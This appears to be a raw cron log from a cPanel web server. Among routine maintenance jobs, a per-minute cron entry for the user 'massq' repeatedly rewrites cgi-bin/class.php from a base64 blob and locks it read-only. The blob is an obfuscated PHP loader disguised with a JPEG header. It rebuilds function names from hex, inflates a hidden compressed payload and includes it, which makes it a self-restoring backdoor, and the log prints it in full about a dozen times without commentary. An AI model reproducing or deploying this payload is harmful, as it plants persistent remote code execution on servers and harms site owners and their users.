Nov 11 23:05:01 server CROND[14882]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:05:01 server CROND[14881]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 11 23:06:01 server CROND[15895]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:07:01 server CROND[16717]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:08:01 server CROND[17236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:09:01 server CROND[18115]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 23:09:01 server CROND[18116]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:10:01 server CROND[18935]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 23:10:01 server CROND[18936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 23:10:01 server CROND[18934]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:10:01 server CROND[18937]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 23:11:01 server CROND[19798]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:12:01 server CROND[20667]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:12:01 server CROND[20668]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 23:13:01 server CROND[21488]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:14:01 server CROND[22350]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:15:01 server CROND[23167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 23:15:01 server CROND[23169]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 23:15:01 server CROND[23170]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:16:01 server CROND[23974]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:17:01 server CROND[24789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
